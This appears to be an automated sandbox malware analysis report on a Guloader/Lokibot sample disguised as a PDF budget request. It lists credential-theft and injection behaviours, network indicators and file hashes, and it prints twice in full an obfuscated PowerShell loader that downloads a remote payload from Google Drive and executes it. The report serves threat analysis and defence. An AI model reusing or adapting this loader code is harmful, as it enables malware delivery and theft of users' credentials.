Analysis Overview
SHA256
6cb1779864f7d98f9198d2e4361bc1cf37e0d6cbe6a62cdd2f99ef963669b188
Threat Level: Known bad
The file 6cb1779864f7d98f9198d2e4361bc1cf37e0d6cbe6a62cdd2f99ef963669b188 was found to be: Known bad.
Malicious Activity Summary
Guloader,Cloudeye
Lokibot
Credentials from Password Stores: Credentials from Web Browsers
Blocklisted process makes network request
Checks computer location settings
Legitimate hosting services abused for malware hosting/C2
Network Service Discovery
Accesses Microsoft Outlook profiles
Command and Scripting Interpreter: PowerShell
Suspicious use of SetThreadContext
Suspicious use of NtCreateThreadExHideFromDebugger
Suspicious use of NtSetInformationThreadHideFromDebugger
Enumerates physical storage devices
System Location Discovery: System Language Discovery
outlook_win_path
Suspicious behavior: MapViewOfSection
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
outlook_office_path
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-09-09 13:08
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-09-09 13:08
Reported
2024-09-09 13:11
Platform
win7-20240903-en
Max time kernel
144s
Max time network
150s
Command Line
Signatures
Guloader,Cloudeye
Lokibot
Credentials from Password Stores: Credentials from Web Browsers
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WScript.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
Network Service Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1424 set thread context of 1212 | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\windows mail\wab.exe |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wab.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\BUDŽETSKI ZAHTJEV 09-09-2024·pdf.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Buln='nonsensitised';$Lavines=${host}.Runspace;If ($Lavines) {$Mizrah++;$Buln+='Perspectiveless234';$Snazziest='su';$Buln+='Colloquialises';$Snazziest+='bs';$Buln+='Syrnes';$Snazziest+='tri';$Buln+='Falankses';$Snazziest+='ng';};Function Billedtelefonerne($Varmluften){$Udpnses=$Varmluften.Length-$Mizrah;For( $Klippeens=5;$Klippeens -lt $Udpnses;$Klippeens+=6){$konsekvensberegningernes+=$Varmluften.$Snazziest.'Invoke'( $Klippeens, $Mizrah);}$konsekvensberegningernes;}function Bousoukis($Traitorwise){ .($Fossilification) ($Traitorwise);}$Shoppish=Billedtelefonerne 'Fo.ecMCaptaoReanizSnohaiPend.lOverslNedsnaUninf/A.nds5Quill.Monte0,asse Estra(Sub,eW Or,giUnpicnudtrydBrndsoPruttwNuptisHinde Ste.eNBegitT Fore Udsty1Whist0Unha..,indi0Kil,r;Dil t ThoroW Aa eiSarpenWench6Taxie4Tller;Altan Voltsxsuper6Sv,ge4Aarbo; Prov NonocrDisemvFlu f:Loada1Solsk2Gemmi1Isodo.Forml0Chins)Te,no ZiskGRete,e Id ocKlo,kkUninioDream/M sma2Cente0Pol,l1,meri0Skmte0Fe lv1Kontr0Overd1Sortl Emb.FPottiitr.sprTilgoeFiremfLibelo,fterxKomme/.andf1E,ter2 Gara1Afson.Lan,l0Overi ';$Fedtsmelteriet=Billedtelefonerne 'Pro,uUsammesKngteeSlikmr buck-IndviANa.teg DigeeIrritnRge,nt Krid ';$uncanonic=Billedtelefonerne 'Dischh.onsit,trantF lkepNon,esSupra:devil/aquin/polardGunrar UnmeiWiredvLabaaeposts.Su,trgTin,eoDibbloKbereg Folkl,olidePresi. TroucPrusto intemT,eca/Asperu AnnucGerni?Drif.eKlippxBomhupMy tio Sh.erBaeltt Stic=Tryk,dSkadeo Hardw Mol n rutclAdstio GrunaStubmdExpat&Indfri ForbdAlito= Ratt1Unf.aDsekulOCholeOC icoM AnemHHerme6KatasnFravrY UmboQScytoXTetr R erbe0MelibkEmulgiBrief-Dig,a5 isocwEkshigSam eAUdmalQreg,av pho HmeditmTredvFRe egt HuskmBill.oBoxinPSl tsRI,dorHDdssejErectLF rca ';$Multiferous=Billedtelefonerne 'Kolle>Phyt. ';$Fossilification=Billedtelefonerne 'T.rreiS,ndqeCholexTurur ';$Enkleres='Stormkurens';$Befolkningstilvkstens187 = Billedtelefonerne ' O,gaeForescHalloh BookoSamme Ska,e%ForklaFluffpMarchpGalvadskrataOmb,ntIntraaTryg %Putte\AtlasS Jog jTitalaMusikeVolutl TurbeDiskalA,beji b,gsvSegmeeVocaltdekl,sRubri.SinuaSUnpeno ArtinCotyl ount&Bu ko&Homes Arbeje AdrecLivsghSv.etoCavia Robert Tr,u ';Bousoukis (Billedtelefonerne 'Brnep$MiliegSprinlGlagaoIdiotb Imbaa Odi,lHypoc:SvcelR.akeleRe.rog incoe,oellrNongridragsnUnshagScrews olitfMar.lo ArberHe.dim AdeleP,esinGest.sf,rha=pavha(A gioc Undem Fanad Sh.u Erhve/Nati.c impr In.e$SpiceBCo.preKolibfTilbeoFje.nlSlutnk Con.nUdineiSatisnForskgEmotisGen.eteastii turnl SkumvAfsejkDals sPatietUnmoleVanitnHrev,sAld.r1 Bogh8 Blan7Lea.e)Bused ');Bousoukis (Billedtelefonerne ' Anna$ExudegPatril M.leoSouthbTanksaTrffel Left:S,alaPOmrinhBen io .ltrn OksegchimbhAdamsiApp,a=Passa$ IncouVen,tnPrehecAqu caRacisnErhveoParf,nDi imiPost,c igem.CariasSkandpKlagelToileiGle.atBalee(Ko,ne$FibroMSerseuDi selPi.ketArviniBlindfGang,e Smitr JibboConcou Overs Fi,e)Ho.pe ');Bousoukis (Billedtelefonerne ' Loyn[Ops.rNAt.one Uds,tdeput. FortSExlu,eLevnerHightvv llai,hiffc andbeFirebPAnagooPert i Dobbn PenitfarinMGy.deaPh.ton onomaUnsheg U.eaeFugefr ,qui]Trilo:flikk:TransSV gtie S jacS.artuAfgi.rButiki.robltAminoyRoustPfilmkrLibidoUndertBawdioUdsa.cBeatnoKred.lHawth Basis=I vol Undl[lofteNMedieeRuinhtUk le. ealoSantiveCrudicBerycuBeat,rRadioiStrsttSvippy E trPKrikarCardioappart Elyto Magnc ecuoMy,delfodboTM.ssiyM.nigpUundveK nfe]Ruach: Frs :HandsT KulslBe.ass H mi1Cheat2Mormd ');$uncanonic=$Phonghi[0];$Anliggender= (Billedtelefonerne 'Xy og$Prea gSka mlKilowoE sedbMetalaApolilFe,ie:PenplbConvirEle ao MdepnUs,glc,apith AfsmiStudsoBr gelAmuckeAntipsAd es=Coro,NContie Fremw ,nto-Cof.eOFasthbSuperj gebyebrnebc TyngtRh,om Bjr sSLemuryGlemnsBilopt Abs,eOffenm etra. EndoNC.nsueLe.trt aadf.FetteWLambeeThankbMantlCPretrlDemoliRia.feBa,atnSedest');$Anliggender+=$Regeringsformens[1];Bousoukis ($Anliggender);Bousoukis (Billedtelefonerne ' Exte$Por.rbWat,irGalvaoS.illnTopsic T.leh vicoisoffio,ykell CalieDi,lesDrivh.sakskHUflsoe,perlaAcesodOfficeSkrubr,iomesDeefo[ Affl$LrredF.ndererampadRekvitTardesR,bssmraadveSkaa,le.tertFurrye RaccrPseudiMiasmeAmbistRes m]Fordr=Adjek$Ha,deSChatth Por o UdenpAsperp BoneiHnsehsIrerehCh,vr ');$Plankevrkslyttere=Billedtelefonerne ' Asse$AfsprbTri mrstimuoRelesnCas.ecLimithFinlaiEcchyo Kanal TopmeInd,asTsarr.Nabo.DligatoPl ntwRi,inn Forpl Ob,eo .ymmaStttedSanerFSengei PriclP,nameForny(Kulfy$Molybu irconBroodcNavicaTraefnSynlio PerinGa leinulr,cOverb,Pavag$AflvnDudsn aBegyng SjussC.lsilBlindygrubbs RetmeCusp nD ceneLipom)Nidig ';$Dagslysene=$Regeringsformens[0];Bousoukis (Billedtelefonerne ' ,ods$Se stgPennyleft roKit.ebPetcoaUnabolLance:LnindDVin eaStrenrViolarB.tisyGrifflUnind=Has.a(AabenTPort.eTi.trsCon et Anst-AfvigPAnmodaF lmktPesteh Gran Oscul$IngleD UrdeaCienegBoghos K utlG,senyFodb.sAwarre glycnSnappeThank)Dolla ');while (!$Darryl) {Bousoukis (Billedtelefonerne 'Subor$ AcetgGrandlAfskyoGge.abTelevaFendelUl.nd:Bygn PpennieFoto cStagh=,erro$ ethntFerv.r CantuGe.neePotch ') ;Bousoukis $Plankevrkslyttere;Bousoukis (Billedtelefonerne 'CorreSUnfamt .lesaHig rrHundetBe,ej-Tin,lScl.fflSemaseYdrere Di,lpMy os Vil.e4merr. ');Bousoukis (Billedtelefonerne 'Spio $SolidgO,logl k ndoPe.vib sea.a Insulanale:hotheDReta a Vaa.r,rracrR,ndoy emolS.lkw=tuema(ArcadTGodlieDesirsSkinktAn iv-SkraaPTiensaSl tttUnbinhP.isi Byaas$Anna.D Lu haKa,gagCaul.sOvernlfrivoyFr,nusExpa,eI,semn,djvneAnimo)mnt.o ') ;Bousoukis (Billedtelefonerne 'flles$Akklig DivalYaguaoKartob.vildaSingll sphe:R,steOTuredv Ambie Arb rFug,sb MotoyAabnegMonkhnRealliMet.nnYakatg Kom,sOverau AxindB,okedVol maAmur,nkredsnAdrese Adstl SkuasRindaeOpst.=Yolk.$Kns,vgCrosslEnclao Torpb St ka Trstl ntic:LuftfL Fi uo AccecVisseoMes pmT.nctoSilb.tomta,i,ersovDroejeFotokml erveMonicnKnit.+clean+Galan%Bisma$MinilPD.leahGlebeoHo,bynCottegMonoph Cashi Ta,j.ReinecGenanoGas,uuFedt.nStoretbrneb ') ;$uncanonic=$Phonghi[$Overbygningsuddannelse];}$Salpingian=328811;$Antirumor=29061;Bousoukis (Billedtelefonerne ' Hov,$Riddeg,dgivlAnti,oFewsbbTav.raAlabalMande:PolysSbortspVoltaaTr.ldg Liv h WhoreprisetSquirtFortaiEks leSprngnLionce.eeks1Sinwa9Arome5Relat Hotc=Kode. CurahGIncr.eFl,ugt jayh-PhilaC,amdeo.ksekn ProltSovemeUngarnwi gitHirpl dybst$AutomDTi.taaTabl,gTjekksCrosslJauntyEngi sslumaeFormanAcouseOmegn ');Bousoukis (Billedtelefonerne 'Forna$KkkengDe.qulEch.io FjerbTorpeaSelvslEpide:aberoDAlle hSpitfoTrapetIndiseRiseneStrbe Klben= Aggl Tagka[ForpaSDaddlyFib,isEuchot offeeKrselmFrise.DowntCPut eoTugtenOpfinvRatsbeFor,brEnt mtPirip]Unma,:Tilpl:KlippFWaynerAtlasoHoddemBlushBSmertaBundssAmbu.eWager6 Occa4FilmqSChorytTraverEf eriPinien.harcgO.erw( Enau$KenyaSSpindpLrkenai,tergDa.ueh Talee PerctScrumtTraveiR.binePoo lnlithoeRhode1Pelti9Torsk5Suffe)nonle ');Bousoukis (Billedtelefonerne 'Arara$testmgEndoslUnderoNowhabcarpoa PoinlApppe:FlyveNKomp.oEmun nMosbetUnhawy u mipbeboeo Opg.g AdjurVarmeaSwagep B.adhRoendiTeleccArgut Ov rw=Grand Boatl[ SunbS Vve yBelyssSm,ldtRaaheeTrufnmBr,ar.krydsTMedune.eorgxOpl,gtBulbl.whammEMicronmervicSuperoDedukd SonaiKamernAllelgUnder]Akter:Dyrev:UnuniASightSPraesC.orbrI EpheI yre.FlaadGAmiceeinta,tSydamSAcadetYonkerUna,liFor,rnDrikkg Meso(Nring$DefroD LithhVaultoBabyst TetreRemo e,ondu) ormu ');Bousoukis (Billedtelefonerne 'Tje,i$Dr.vig HypelTusmooExcenbDiscoaAfspilAffal: Mut DOverieDisinmMorgeoSubaunParapoSkr vl P,ddo Una,gTjekkyDupli1 H,je2Dok,o4Phaeo=henaa$BreddN Su.poIagttnNeurotdisp,y IdeppArrhioDewatgEfterrPlasta nfep,econhun.nsi RecocAle,i. Gro,s SommuFor ubBrssps PhertAfmrkrLystriFundunRoulegForeb( Anpa$,ekupSkandiaheirel ,aryp,jendiSa,ornRatifg .pspiRussiaAk.ivn Unco,.otra$HalerA Inf nEnergtChil iAproprAfsniu UndrmProfeo FiberEnzym)uni,e ');Bousoukis $Demonology124;"
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Sjaelelivets.Son && echo t"
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Buln='nonsensitised';$Lavines=${host}.Runspace;If ($Lavines) {$Mizrah++;$Buln+='Perspectiveless234';$Snazziest='su';$Buln+='Colloquialises';$Snazziest+='bs';$Buln+='Syrnes';$Snazziest+='tri';$Buln+='Falankses';$Snazziest+='ng';};Function Billedtelefonerne($Varmluften){$Udpnses=$Varmluften.Length-$Mizrah;For( $Klippeens=5;$Klippeens -lt $Udpnses;$Klippeens+=6){$konsekvensberegningernes+=$Varmluften.$Snazziest.'Invoke'( $Klippeens, $Mizrah);}$konsekvensberegningernes;}function Bousoukis($Traitorwise){ .($Fossilification) ($Traitorwise);}$Shoppish=Billedtelefonerne 'Fo.ecMCaptaoReanizSnohaiPend.lOverslNedsnaUninf/A.nds5Quill.Monte0,asse Estra(Sub,eW Or,giUnpicnudtrydBrndsoPruttwNuptisHinde Ste.eNBegitT Fore Udsty1Whist0Unha..,indi0Kil,r;Dil t ThoroW Aa eiSarpenWench6Taxie4Tller;Altan Voltsxsuper6Sv,ge4Aarbo; Prov NonocrDisemvFlu f:Loada1Solsk2Gemmi1Isodo.Forml0Chins)Te,no ZiskGRete,e Id ocKlo,kkUninioDream/M sma2Cente0Pol,l1,meri0Skmte0Fe lv1Kontr0Overd1Sortl Emb.FPottiitr.sprTilgoeFiremfLibelo,fterxKomme/.andf1E,ter2 Gara1Afson.Lan,l0Overi ';$Fedtsmelteriet=Billedtelefonerne 'Pro,uUsammesKngteeSlikmr buck-IndviANa.teg DigeeIrritnRge,nt Krid ';$uncanonic=Billedtelefonerne 'Dischh.onsit,trantF lkepNon,esSupra:devil/aquin/polardGunrar UnmeiWiredvLabaaeposts.Su,trgTin,eoDibbloKbereg Folkl,olidePresi. TroucPrusto intemT,eca/Asperu AnnucGerni?Drif.eKlippxBomhupMy tio Sh.erBaeltt Stic=Tryk,dSkadeo Hardw Mol n rutclAdstio GrunaStubmdExpat&Indfri ForbdAlito= Ratt1Unf.aDsekulOCholeOC icoM AnemHHerme6KatasnFravrY UmboQScytoXTetr R erbe0MelibkEmulgiBrief-Dig,a5 isocwEkshigSam eAUdmalQreg,av pho HmeditmTredvFRe egt HuskmBill.oBoxinPSl tsRI,dorHDdssejErectLF rca ';$Multiferous=Billedtelefonerne 'Kolle>Phyt. ';$Fossilification=Billedtelefonerne 'T.rreiS,ndqeCholexTurur ';$Enkleres='Stormkurens';$Befolkningstilvkstens187 = Billedtelefonerne ' O,gaeForescHalloh BookoSamme Ska,e%ForklaFluffpMarchpGalvadskrataOmb,ntIntraaTryg %Putte\AtlasS Jog jTitalaMusikeVolutl TurbeDiskalA,beji b,gsvSegmeeVocaltdekl,sRubri.SinuaSUnpeno ArtinCotyl ount&Bu ko&Homes Arbeje AdrecLivsghSv.etoCavia Robert Tr,u ';Bousoukis (Billedtelefonerne 'Brnep$MiliegSprinlGlagaoIdiotb Imbaa Odi,lHypoc:SvcelR.akeleRe.rog incoe,oellrNongridragsnUnshagScrews olitfMar.lo ArberHe.dim AdeleP,esinGest.sf,rha=pavha(A gioc Undem Fanad Sh.u Erhve/Nati.c impr In.e$SpiceBCo.preKolibfTilbeoFje.nlSlutnk Con.nUdineiSatisnForskgEmotisGen.eteastii turnl SkumvAfsejkDals sPatietUnmoleVanitnHrev,sAld.r1 Bogh8 Blan7Lea.e)Bused ');Bousoukis (Billedtelefonerne ' Anna$ExudegPatril M.leoSouthbTanksaTrffel Left:S,alaPOmrinhBen io .ltrn OksegchimbhAdamsiApp,a=Passa$ IncouVen,tnPrehecAqu caRacisnErhveoParf,nDi imiPost,c igem.CariasSkandpKlagelToileiGle.atBalee(Ko,ne$FibroMSerseuDi selPi.ketArviniBlindfGang,e Smitr JibboConcou Overs Fi,e)Ho.pe ');Bousoukis (Billedtelefonerne ' Loyn[Ops.rNAt.one Uds,tdeput. FortSExlu,eLevnerHightvv llai,hiffc andbeFirebPAnagooPert i Dobbn PenitfarinMGy.deaPh.ton onomaUnsheg U.eaeFugefr ,qui]Trilo:flikk:TransSV gtie S jacS.artuAfgi.rButiki.robltAminoyRoustPfilmkrLibidoUndertBawdioUdsa.cBeatnoKred.lHawth Basis=I vol Undl[lofteNMedieeRuinhtUk le. ealoSantiveCrudicBerycuBeat,rRadioiStrsttSvippy E trPKrikarCardioappart Elyto Magnc ecuoMy,delfodboTM.ssiyM.nigpUundveK nfe]Ruach: Frs :HandsT KulslBe.ass H mi1Cheat2Mormd ');$uncanonic=$Phonghi[0];$Anliggender= (Billedtelefonerne 'Xy og$Prea gSka mlKilowoE sedbMetalaApolilFe,ie:PenplbConvirEle ao MdepnUs,glc,apith AfsmiStudsoBr gelAmuckeAntipsAd es=Coro,NContie Fremw ,nto-Cof.eOFasthbSuperj gebyebrnebc TyngtRh,om Bjr sSLemuryGlemnsBilopt Abs,eOffenm etra. EndoNC.nsueLe.trt aadf.FetteWLambeeThankbMantlCPretrlDemoliRia.feBa,atnSedest');$Anliggender+=$Regeringsformens[1];Bousoukis ($Anliggender);Bousoukis (Billedtelefonerne ' Exte$Por.rbWat,irGalvaoS.illnTopsic T.leh vicoisoffio,ykell CalieDi,lesDrivh.sakskHUflsoe,perlaAcesodOfficeSkrubr,iomesDeefo[ Affl$LrredF.ndererampadRekvitTardesR,bssmraadveSkaa,le.tertFurrye RaccrPseudiMiasmeAmbistRes m]Fordr=Adjek$Ha,deSChatth Por o UdenpAsperp BoneiHnsehsIrerehCh,vr ');$Plankevrkslyttere=Billedtelefonerne ' Asse$AfsprbTri mrstimuoRelesnCas.ecLimithFinlaiEcchyo Kanal TopmeInd,asTsarr.Nabo.DligatoPl ntwRi,inn Forpl Ob,eo .ymmaStttedSanerFSengei PriclP,nameForny(Kulfy$Molybu irconBroodcNavicaTraefnSynlio PerinGa leinulr,cOverb,Pavag$AflvnDudsn aBegyng SjussC.lsilBlindygrubbs RetmeCusp nD ceneLipom)Nidig ';$Dagslysene=$Regeringsformens[0];Bousoukis (Billedtelefonerne ' ,ods$Se stgPennyleft roKit.ebPetcoaUnabolLance:LnindDVin eaStrenrViolarB.tisyGrifflUnind=Has.a(AabenTPort.eTi.trsCon et Anst-AfvigPAnmodaF lmktPesteh Gran Oscul$IngleD UrdeaCienegBoghos K utlG,senyFodb.sAwarre glycnSnappeThank)Dolla ');while (!$Darryl) {Bousoukis (Billedtelefonerne 'Subor$ AcetgGrandlAfskyoGge.abTelevaFendelUl.nd:Bygn PpennieFoto cStagh=,erro$ ethntFerv.r CantuGe.neePotch ') ;Bousoukis $Plankevrkslyttere;Bousoukis (Billedtelefonerne 'CorreSUnfamt .lesaHig rrHundetBe,ej-Tin,lScl.fflSemaseYdrere Di,lpMy os Vil.e4merr. ');Bousoukis (Billedtelefonerne 'Spio $SolidgO,logl k ndoPe.vib sea.a Insulanale:hotheDReta a Vaa.r,rracrR,ndoy emolS.lkw=tuema(ArcadTGodlieDesirsSkinktAn iv-SkraaPTiensaSl tttUnbinhP.isi Byaas$Anna.D Lu haKa,gagCaul.sOvernlfrivoyFr,nusExpa,eI,semn,djvneAnimo)mnt.o ') ;Bousoukis (Billedtelefonerne 'flles$Akklig DivalYaguaoKartob.vildaSingll sphe:R,steOTuredv Ambie Arb rFug,sb MotoyAabnegMonkhnRealliMet.nnYakatg Kom,sOverau AxindB,okedVol maAmur,nkredsnAdrese Adstl SkuasRindaeOpst.=Yolk.$Kns,vgCrosslEnclao Torpb St ka Trstl ntic:LuftfL Fi uo AccecVisseoMes pmT.nctoSilb.tomta,i,ersovDroejeFotokml erveMonicnKnit.+clean+Galan%Bisma$MinilPD.leahGlebeoHo,bynCottegMonoph Cashi Ta,j.ReinecGenanoGas,uuFedt.nStoretbrneb ') ;$uncanonic=$Phonghi[$Overbygningsuddannelse];}$Salpingian=328811;$Antirumor=29061;Bousoukis (Billedtelefonerne ' Hov,$Riddeg,dgivlAnti,oFewsbbTav.raAlabalMande:PolysSbortspVoltaaTr.ldg Liv h WhoreprisetSquirtFortaiEks leSprngnLionce.eeks1Sinwa9Arome5Relat Hotc=Kode. CurahGIncr.eFl,ugt jayh-PhilaC,amdeo.ksekn ProltSovemeUngarnwi gitHirpl dybst$AutomDTi.taaTabl,gTjekksCrosslJauntyEngi sslumaeFormanAcouseOmegn ');Bousoukis (Billedtelefonerne 'Forna$KkkengDe.qulEch.io FjerbTorpeaSelvslEpide:aberoDAlle hSpitfoTrapetIndiseRiseneStrbe Klben= Aggl Tagka[ForpaSDaddlyFib,isEuchot offeeKrselmFrise.DowntCPut eoTugtenOpfinvRatsbeFor,brEnt mtPirip]Unma,:Tilpl:KlippFWaynerAtlasoHoddemBlushBSmertaBundssAmbu.eWager6 Occa4FilmqSChorytTraverEf eriPinien.harcgO.erw( Enau$KenyaSSpindpLrkenai,tergDa.ueh Talee PerctScrumtTraveiR.binePoo lnlithoeRhode1Pelti9Torsk5Suffe)nonle ');Bousoukis (Billedtelefonerne 'Arara$testmgEndoslUnderoNowhabcarpoa PoinlApppe:FlyveNKomp.oEmun nMosbetUnhawy u mipbeboeo Opg.g AdjurVarmeaSwagep B.adhRoendiTeleccArgut Ov rw=Grand Boatl[ SunbS Vve yBelyssSm,ldtRaaheeTrufnmBr,ar.krydsTMedune.eorgxOpl,gtBulbl.whammEMicronmervicSuperoDedukd SonaiKamernAllelgUnder]Akter:Dyrev:UnuniASightSPraesC.orbrI EpheI yre.FlaadGAmiceeinta,tSydamSAcadetYonkerUna,liFor,rnDrikkg Meso(Nring$DefroD LithhVaultoBabyst TetreRemo e,ondu) ormu ');Bousoukis (Billedtelefonerne 'Tje,i$Dr.vig HypelTusmooExcenbDiscoaAfspilAffal: Mut DOverieDisinmMorgeoSubaunParapoSkr vl P,ddo Una,gTjekkyDupli1 H,je2Dok,o4Phaeo=henaa$BreddN Su.poIagttnNeurotdisp,y IdeppArrhioDewatgEfterrPlasta nfep,econhun.nsi RecocAle,i. Gro,s SommuFor ubBrssps PhertAfmrkrLystriFundunRoulegForeb( Anpa$,ekupSkandiaheirel ,aryp,jendiSa,ornRatifg .pspiRussiaAk.ivn Unco,.otra$HalerA Inf nEnergtChil iAproprAfsniu UndrmProfeo FiberEnzym)uni,e ');Bousoukis $Demonology124;"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Sjaelelivets.Son && echo t"
C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | drive.google.com | udp |
| GB | 216.58.201.110:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | drive.usercontent.google.com | udp |
| GB | 142.250.179.225:443 | drive.usercontent.google.com | tcp |
| GB | 216.58.201.110:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 142.250.179.227:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 142.250.179.227:80 | o.pki.goog | tcp |
| GB | 142.250.179.225:443 | drive.usercontent.google.com | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
Files
C:\Users\Admin\AppData\Local\Temp\CabB51E.tmp
| MD5 | 49aebf8cbd62d92ac215b2923fb1b9f5 |
| SHA1 | 1723be06719828dda65ad804298d0431f6aff976 |
| SHA256 | b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f |
| SHA512 | bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b |
memory/2768-20-0x000007FEF682E000-0x000007FEF682F000-memory.dmp
memory/2768-23-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp
memory/2768-22-0x00000000026A0000-0x00000000026A8000-memory.dmp
memory/2768-21-0x000000001B5F0000-0x000000001B8D2000-memory.dmp
memory/2768-24-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp
memory/2768-25-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp
memory/2768-26-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp
memory/2768-27-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp
memory/2768-28-0x000007FEF682E000-0x000007FEF682F000-memory.dmp
memory/2768-29-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp
memory/2768-31-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HT8HTU7N3ITUQJ6WSV3F.temp
| MD5 | 2528562ab09b6e0e5239587e5134b9d7 |
| SHA1 | be7569e9eca81daa4f2f527e389dd3128ae33e82 |
| SHA256 | 13fe3e60e72c2f750038edddf36eefd4aa3699759fe50d68893a7fe557e01f6a |
| SHA512 | aad5a139028b80d3c80bc6e1df1f0075d70cd8309ff11f413e448504435127494823803d2c50a069f07d7b0eac67a7358f65f1653474cdabb3e8b838fa344534 |
C:\Users\Admin\AppData\Roaming\Sjaelelivets.Son
| MD5 | d952477f892ae0e25f9facc609554a0d |
| SHA1 | 617591cade5b3efd2906e8ce468e7cf7d88f7539 |
